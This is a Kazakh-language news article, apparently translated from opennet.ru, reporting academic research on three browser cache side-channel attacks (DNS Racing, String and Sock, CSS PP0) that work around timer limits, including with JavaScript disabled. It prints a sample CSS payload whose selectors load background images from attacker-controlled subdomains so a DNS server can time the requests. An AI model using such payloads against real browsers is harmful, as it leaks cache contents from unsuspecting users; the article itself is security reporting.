JavaScript жоқ веб-шолғышта орындалған CPU кэш экстракциясы шабуылы

Бірнеше американдық, израильдік және австралиялық университеттердің зерттеушілер тобы процессор кэшінің мазмұны туралы ақпаратты алу үшін веб-браузерлерде жұмыс істейтін үш шабуыл жасады. Бір әдіс JavaScript жоқ браузерлерде жұмыс істейді, ал қалған екеуі Tor браузерінде және DeterFox-та қолданылатындарды қоса, бүйірлік арналық шабуылдардан қорғаудың бар әдістерін айналып өтеді. Шабуылдарды көрсетуге арналған код, сондай-ақ шабуылдарға қажетті сервер компоненттері GitHub сайтында жарияланған.

Кэштің мазмұнын талдау үшін барлық шабуылдар кэшті стандартты мәндер жиынтығымен толтыруды және оларды толтыру кезінде оларға қол жеткізу уақытын өлшеу арқылы өзгерістерді анықтауды қамтитын Prime+Probe әдісін пайдаланады. Уақытты дәл өлшеуге кедергі келтіретін браузерлерде бар қауіпсіздік тетіктерін айналып өту үшін екі нұсқада, қабылданған сұраулар уақытының журналын жүргізетін шабуылдаушы басқаратын DNS немесе WebSocket серверіне апелляция жасалады. Бір нұсқада тіркелген DNS жауап уақыты уақыт анықтамасы ретінде пайдаланылады.

Сыртқы DNS немесе WebSocket серверлерін пайдаланып, машиналық оқытуға негізделген жіктеу жүйесін пайдалана отырып жүргізілген өлшемдер ең оңтайлы сценарийде 98%-ға дейінгі дәлдікпен мәндерді болжау үшін жеткілікті болды (орта есеппен 80-90%). Шабуыл әдістері әртүрлі аппараттық платформаларда (Intel, AMD Ryzen, Apple M1, Samsung Exynos) сыналды және әмбебап болып шықты.

JavaScript жоқ веб-шолғышта орындалған CPU кэш экстракциясы шабуылы

DNS Racing шабуылының бірінші нұсқасы JavaScript массивтерін қолданатын Prime+Probe әдісінің классикалық орындалуын пайдаланады. Айырмашылықтар сыртқы DNS негізіндегі таймерді және жоқ доменнен кескінді жүктеу әрекеті жасалған кезде іске қосылатын қате өңдегішін пайдалануға дейін барады. Сыртқы таймер JavaScript таймерлеріне кіруді шектейтін немесе толығымен өшіретін браузерлерге Prime+Probe шабуылына мүмкіндік береді.

Бір Ethernet желісінде орналасқан DNS сервері үшін таймердің дәлдігі шамамен 2 мс деп бағаланады, бұл бүйірлік арналық шабуылды жүзеге асыру үшін жеткілікті (салыстыру үшін, Tor Browser жүйесіндегі стандартты JavaScript таймерінің дәлдігі 100 мс дейін азайтылады). Шабуыл үшін DNS серверін басқару қажет емес, өйткені операцияның орындалу уақыты DNS-тен жауап беру уақыты тексерудің ертерек аяқталуының белгісі ретінде қызмет ететіндей таңдалады (қате өңдегішінің іске қосылғанына байланысты). ерте ме, кеш пе, кэшпен тексеру операциясының жылдамдығы туралы қорытынды жасалады) .

Екінші шабуыл әдісі, «String and Sock» JavaScript-те массивтерді төмен деңгейде пайдалануды шектейтін қауіпсіздік техникасын айналып өтуге бағытталған. Массивтердің орнына String and Sock өте үлкен жолдардағы операцияларды пайдаланады, олардың өлшемі айнымалы LLC кэшін толық қамтитындай етіп таңдалады (Соңғы деңгейдегі кэш). Әрі қарай, indexOf() функциясын пайдаланып, бастапқы жолда бастапқы жолда жоқ шағын ішкі жолды іздейді, яғни. іздеу операциясы бүкіл жолдың қайталануына әкеледі. Жол өлшемі LLC кэшінің өлшеміне сәйкес келетіндіктен, сканерлеу массивтерді манипуляциясыз кэшті тексеру әрекетін орындауға мүмкіндік береді. Кешігулерді өлшеу үшін DNS орнына шабуылдаушы басқаратын WebSocket серверіне қоңырау шалылады - іздеу операциясы аяқталғанға дейін және аяқталғаннан кейін желіде сұраулар жіберіледі, соның негізінде сервер кэшті талдау үшін пайдаланылатын кешіктіруді есептейді. мазмұны.

«CSS PP0» шабуылының үшінші нұсқасы HTML және CSS арқылы жүзеге асырылады және JavaScript өшірілген браузерлерде жұмыс істей алады. Әдіс «String and Sock» әдісіне ұқсас, бірақ JavaScript-ке байланысты емес. Шабуыл кезінде маска арқылы іздеу CSS селекторларының жиынтығы жасалады. Кэшті толтыратын бастапқы үлкен жол өте үлкен сынып атауы бар div тегін жасау арқылы орнатылады. Ішінде өздерінің идентификаторлары бар басқа divs жиынтығы бар. Осы кірістірілген divs әрқайсысының ішкі жолды іздейтін селекторы бар өз стилі бар. Бетті көрсету кезінде браузер алдымен ішкі div файлдарын өңдеуге тырысады, нәтижесінде үлкен жолда іздеу әрекеті орындалады. Іздеу әдейі жетіспейтін маска арқылы орындалады және бүкіл жол бойынша қайталануға әкеледі, содан кейін «жоқ» шарты іске қосылады және кездейсоқ домендерге сілтеме жасайтын фондық суретті жүктеу әрекеті жасалады: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Ішкі домендерге шабуылдаушының DNS сервері қызмет көрсетеді, ол сұрауларды қабылдаудағы кідірістерді өлшей алады. DNS сервері барлық сұраулар үшін NXDOMAIN шығарады және сұраулардың нақты уақытының журналын жүргізеді. Divs жиынтығын өңдеу нәтижесінде шабуылдаушының DNS сервері сұраулар қатарын алады, олардың арасындағы кешігулер кэш мазмұнын тексеру нәтижесімен сәйкес келеді.

JavaScript жоқ веб-шолғышта орындалған CPU кэш экстракциясы шабуылы


Ақпарат көзі: opennet.ru

пікір қалдыру